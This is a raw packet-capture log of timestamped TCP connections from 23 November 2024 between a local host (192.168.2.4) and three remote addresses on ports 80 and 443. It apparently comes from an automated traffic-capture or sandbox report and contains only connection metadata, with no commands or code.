Nov 23, 2024 11:22:23.756789923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.756915092 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.756936073 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.756984949 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.756984949 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.757977962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.758116007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.758121014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.759104967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.759176970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.759210110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.759309053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.759352922 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.759419918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.759602070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.759617090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.759644985 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.759649992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.760525942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.760591030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.760613918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.761404991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.761470079 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.761673927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.761698008 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.761751890 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.761770964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.761871099 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.762383938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.762435913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.762490034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.763308048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.763353109 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.763360977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.764034986 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.764091969 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.764148951 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.764199972 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.764275074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.764307022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.764508963 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.764592886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.765218973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.765296936 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.765314102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.766124010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.766232967 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.766242981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.766283989 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.766330004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.766406059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.766520977 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.767071962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.767113924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.767215967 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.768022060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.768110037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.768157959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.768584013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.768634081 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.768718958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.768913031 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.768946886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.768986940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.769098043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.769886017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.769995928 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.770030022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.770911932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.770957947 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.770961046 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.770977020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.771032095 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.771053076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.771061897 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.771766901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.771828890 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.771877050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.772711992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.772752047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.772804022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.773005962 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.773051977 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.773053885 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.773128986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.773624897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.773682117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.773737907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.775221109 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.775269985 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.775274038 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.775331020 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.777318001 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.777373075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.777426958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.779437065 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.779601097 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.779650927 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.781527042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.781579018 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.781614065 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.781656027 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.783565998 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.783657074 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.783804893 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.783911943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.785540104 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.785574913 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.785659075 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.785770893 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.786163092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.787611008 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.787825108 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.787880898 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.789568901 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.789669037 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.789727926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.791451931 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.791500092 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.791574001 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.791616917 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.793379068 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.793428898 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.793546915 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.793591022 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.795262098 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.795331955 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.795356035 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.795440912 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.797177076 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.797312975 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.797370911 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.799034119 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.799093008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.799144030 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.799226046 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.800872087 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.800986052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.801192045 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.802704096 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.802756071 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.802814960 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.802884102 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.804541111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.804637909 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.804697037 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.806387901 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.806447029 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.806499004 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.807379961 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.808108091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.808156013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.808228016 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.808331013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.809885979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.809966087 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.810026884 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.810203075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.811620951 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.811677933 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.811741114 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.811784029 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.813347101 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.813431025 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.813469887 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.813520908 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.815100908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.815223932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.815248013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.815336943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.816816092 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.816937923 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.816994905 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.818528891 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.818660021 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.818667889 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.818712950 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.820240974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.820314884 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.820355892 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.820403099 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.821229935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.821274996 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.821330070 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.821407080 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.822293997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.822364092 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.822386980 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.822515965 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.823283911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.823391914 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.823441982 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.824300051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.824415922 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.824448109 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.824462891 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.825365067 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.825422049 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.825509071 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.825551033 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.826359987 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.826406956 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.826463938 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.826664925 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.827398062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.827511072 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.827590942 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.828413963 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.828454018 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.828531981 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.828576088 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.829433918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.829483986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.829582930 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.830439091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.830504894 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.830593109 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.831489086 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.831620932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.831671000 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.832479954 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.832534075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.832559109 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.832636118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.833520889 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.833584070 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.833739042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.833786011 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.834542990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.834598064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.834691048 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.834822893 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.835576057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.835678101 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.835688114 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.835736990 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.836627007 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.836680889 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.836766005 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.836965084 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.837686062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.837850094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.837877989 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.837924957 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.838639975 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.838710070 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.904155016 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.904915094 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.904934883 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.905474901 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.905479908 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.935265064 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.935723066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.935899019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.936194897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.936326981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.936402082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.937124968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.937412024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.938102961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.938173056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.938249111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.939007044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.939058065 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.939110994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.939973116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.940036058 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.940038919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.940496922 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.940911055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.941073895 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.941090107 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.941230059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.941528082 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:23.941531897 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:23.941565037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.941818953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.941929102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.942230940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.942761898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.942872047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.943027973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.943718910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.943808079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.944000006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.944636106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.944750071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.945146084 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.945574045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.945671082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.945724010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.945735931 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.945753098 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.945804119 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.946387053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.946535110 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.946711063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.946779013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.946825981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.947088957 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.947140932 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.947165966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.947191954 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.947206020 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.947439909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.947561979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.948048115 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.948097944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.948142052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.948167086 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.948179960 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.948457003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.948565006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.949043036 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.949100018 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.949172974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.949204922 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.949219942 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.949311018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.949357986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.949992895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.950081110 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.950273991 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.950298071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.950315952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.950321913 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.950391054 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.951105118 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.951216936 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.951232910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.951255083 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.951308966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.952075005 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:23.952130079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.952176094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:23.952194929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.952203989 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.952224016 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:23.952286959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:23.952378035 CET	49786	80	192.168.2.4	34.116.198.130
